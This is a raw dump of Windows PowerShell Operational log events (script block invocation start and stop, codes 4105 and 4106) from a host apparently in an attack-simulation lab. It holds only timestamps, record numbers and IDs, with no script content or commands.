Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050555
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050553
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050552
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050550
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050536
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050535
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050530
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050529
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
